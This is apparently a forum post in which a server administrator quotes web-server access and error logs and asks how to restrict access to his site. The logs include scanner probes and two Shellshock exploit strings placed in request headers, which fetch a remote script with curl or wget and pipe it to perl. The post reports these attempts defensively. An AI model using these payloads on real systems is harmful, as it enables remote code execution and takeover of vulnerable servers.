Hi UFHH01,
xxx.xxx.xxx.xxx = various ip addresses
/var/log/httpd/access_log
xxx.xxx.xxx.xxx - - [21/Oct/2014:18:50:31 +0100] "GET / HTTP/1.0" 200 2129 "-" "-"
xxx.xxx.xxx.xxx - - [21/Oct/2014:18:50:33 +0100] "GET /robots.txt HTTP/1.0" 404 271 "-" "-"
/var/log/httpd/error_log
[Mon Oct 20 02:09:56 2014] [error] [client xxx.xxx.xxx.xxx] File does not exist: /var/www/vhosts/default/htdocs/user
[Mon Oct 20 02:28:45 2014] [error] [client xxx.xxx.xxx.xxx] File does not exist: /var/www/vhosts/default/htdocs/muieblackcat
[Mon Oct 20 02:28:45 2014] [error] [client xxx.xxx.xxx.xxx] File does not exist: /var/www/vhosts/default/htdocs/scripts
/var/log/nginx/access.log
xxx.xxx.xxx.xxx - - [21/Oct/2014:05:34:44 +0100] "GET
http://www.hackers-website-renamed.com/ HTTP/1.1" 200 2129 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0"
these are just a few. I believe they are accessing my site using
http://xxx.xxx.xxx.xxx where xxx.xxx.xxx.xxx = my server ip address.
The reason I want to block access to /var/www/html directory is because of the following logs.
xx.xx.xx.xx - - [19/Oct/2014:14:48:41 +0100] "GET / HTTP/1.0" 200 2129 "() { :; }; curl
http://www.hackers-website-renamed.com//bbs/skin/zero_vote/cpan_root | perl" "() { :; }; curl
http://www.hackers-website-renamed.com//bbs/skin/zero_vote/cpan_root | perl"
xxx.xxx.xx.xx - - [19/Oct/2014:15:53:33 +0100] "GET /phppath/php HTTP/1.0" 404 272 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget
http://xx.xxx.xx.xxx/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
There's a number of these in my logs. These are exploit attempts which I believe would cease if I am able to block access to all but my server ip address and my own.
Do you have any further ideas?
Kind regards
Pete